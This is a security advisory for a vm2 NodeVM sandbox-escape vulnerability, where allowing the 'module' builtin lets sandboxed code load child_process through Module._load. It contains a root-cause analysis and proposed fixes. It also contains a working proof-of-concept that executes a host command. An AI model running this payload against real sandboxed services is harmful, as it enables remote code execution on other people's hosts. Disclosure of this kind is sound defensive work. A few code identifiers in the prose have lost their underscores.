CVE-2026-43999
Summary
NodeVM's builtin allowlist can be bypassed when the module builtin is allowed (including via the '*' wildcard). The module builtin exposes Node's Module._load(), which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like child_process and achieve remote code execution.
Severity
Critical (CVSS 3.1: 9.9)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Attack Vector: Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code)
- Attack Complexity: Low — no special conditions required;
['*', '-child_process']is a common, documented pattern - Privileges Required: Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case
- User Interaction: None
- Scope: Changed — escape from sandbox boundary to host system
- Confidentiality Impact: High — arbitrary command execution on the host
- Integrity Impact: High — arbitrary command execution on the host
- Availability Impact: High — arbitrary command execution on the host
Affected Component
lib/builtin.js—makeBuiltinsFromLegacyOptions()(lines 109-117) — includesmodulein'*'expansionlib/builtin.js—addDefaultBuiltin()(lines 86-90) — loadsmodulewith generic readonly wrapperlib/builtin.js—SPECIAL_MODULES(line 61) — does NOT includemodule
CWE
- CWE-863: Incorrect Authorization
Description
Root Cause: The module builtin provides unrestricted host module loading
When builtin: ['*', '-child_process'] is configured, makeBuiltinsFromLegacyOptions iterates over BUILTIN_MODULES and adds all modules not explicitly excluded:
// lib/builtin.js:40
const BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))
.filter(s=>!s.startsWith('internal/'));
// lib/builtin.js:109-117
if (Array.isArray(builtins)) {
const def = builtins.indexOf('*') >= 0;
if (def) {
for (let i = 0; i < BUILTIN_MODULES.length; i++) {
const name = BUILTIN_MODULES[i];
if (builtins.indexOf(`-${name}`) === -1) {
addDefaultBuiltin(res, name, hostRequire);
}
}
}Node's builtinModules includes 'module' (verified: require('module').builtinModules.includes('module') → true). Since only '-child_process' is excluded, 'module' passes the filter and gets added.
The module builtin is NOT in SPECIAL_MODULES (which only covers events, buffer, util), so it gets the generic loader:
// lib/builtin.js:86-90
function addDefaultBuiltin(builtins, key, hostRequire) {
if (builtins.has(key)) return;
const special = SPECIAL_MODULES[key];
builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));
}This wraps Node's Module class in a readonly proxy and hands it to the sandbox.
The readonly proxy does not prevent method calls
ReadOnlyHandler (bridge.js:940-983) only overrides mutation traps: set, setPrototypeOf, defineProperty, deleteProperty, isExtensible, preventExtensions. It does NOT override get or apply, which are inherited from BaseHandler.
BaseHandler.apply() (bridge.js:665-677) forwards function calls directly to the host context:
apply(target, context, args) {
const object = getHandlerObject(this);
let ret;
try {
context = otherFromThis(context);
args = otherFromThisArguments(args);
ret = otherReflectApply(object, context, args);
} catch (e) {
throw thisFromOtherForThrow(e);
}
return thisFromOther(ret);
}So Module.load('childprocess') is forwarded to Node's native Module._load in the host context, which loads child_process without any vm2 allowlist check.
Inconsistent defense: some builtins are isolated, module is not
The codebase IS aware that certain builtins need special handling:
events: Gets a complete sandbox-native reimplementation vialib/events.jsbuffer: Custom loader that only exposes theBufferclassutil: Custom loader that replacesinheritswith a sandbox-safe version
But module — which provides access to the host's entire module loading infrastructure via Module._load, Module._resolveFilename, etc. — gets no special treatment at all.
Full execution chain
- Host configures
NodeVMwithbuiltin: ['*', '-child_process'] makeBuiltinsFromLegacyOptionsadds'module'to allowed builtins (not excluded)- Sandbox code calls
require('module')→ resolver finds'module'in builtins →loadBuiltinModule('module') - Loader calls
vm.readonly(hostRequire('module'))→ returns readonly proxy of Node'sModuleclass - Sandbox reads
Module._load→BaseHandler.get()returns proxied function - Sandbox calls
Module.load('childprocess')→BaseHandler.apply()forwards to host - Host's
Module._loadloadschild_processnatively (no vm2 check involved) child_processmodule proxied back to sandbox- Sandbox calls
child_process.execSync('id')→ executes on host → RCE
Proof of Concept
const { NodeVM } = require('vm2');
// Developer thinks child_process is blocked
const vm = new NodeVM({
require: {
builtin: ['*', '-child_process'],
external: false,
},
});
const out = vm.run(`
const Module = require('module');
// Module._load bypasses vm2's builtin allowlist entirely
const cp = Module._load('child_process');
module.exports = cp.execSync('id').toString();
`, 'poc.js');
console.log(out.trim()); // prints host uid/gid — RCE achievedImpact
- Complete builtin allowlist bypass: Any configuration that allows the
modulebuiltin (including['*', '-X']patterns) can load ANY builtin, including explicitly excluded ones. - Remote code execution: Sandboxed code can execute arbitrary commands on the host via
child_process.execSync. - Common configuration affected: The
['*', '-child_process', '-fs']pattern is documented and widely used by developers who want "all builtins except dangerous ones." - No special conditions: Unlike environment-dependent attacks, this works on every Node.js version, every OS, and every vm2 deployment that uses the
'*'wildcard. - Additional attack surfaces via
module: Beyond_load, theModuleclass also exposes_resolveFilename,_cache,_pathCache, and other internals that could be abused.
Recommended Remediation
Option 1: Exclude module from BUILTIN_MODULES entirely (Preferred)
The module builtin provides unrestricted host module loading and should never be exposed to the sandbox:
// lib/builtin.js:40
const DANGEROUS_BUILTINS = new Set(['module', 'worker_threads', 'cluster']);
const BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))
.filter(s => !s.startsWith('internal/') && !DANGEROUS_BUILTINS.has(s));This prevents module from being included even with the '*' wildcard. Consider also blocking worker_threads and cluster which can spawn processes.
Option 2: Add module to SPECIAL_MODULES with a safe wrapper
If module must be accessible, provide a sandbox-safe version that only exposes safe APIs:
// lib/builtin.js
const SPECIAL_MODULES = {
events: { /* ... existing ... */ },
buffer: defaultBuiltinLoaderBuffer,
util: defaultBuiltinLoaderUtil,
module: function defaultBuiltinLoaderModule(vm) {
// Only expose safe, read-only metadata — no _load, no _resolveFilename
return vm.readonly({
builtinModules: [...nmod.builtinModules],
// Omit _load, _resolveFilename, _cache, createRequire, etc.
});
}
};Tradeoff: Breaks sandbox code that legitimately uses Module APIs, but those APIs are inherently unsafe in a sandbox context.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
Package Versions Affected
Automatically patch vulnerabilities without upgrading
CVSS Version



Related Resources
References
https://github.com/patriksimek/vm2/security/advisories/GHSA-947f-4v7f-x2v8, https://github.com/patriksimek/vm2
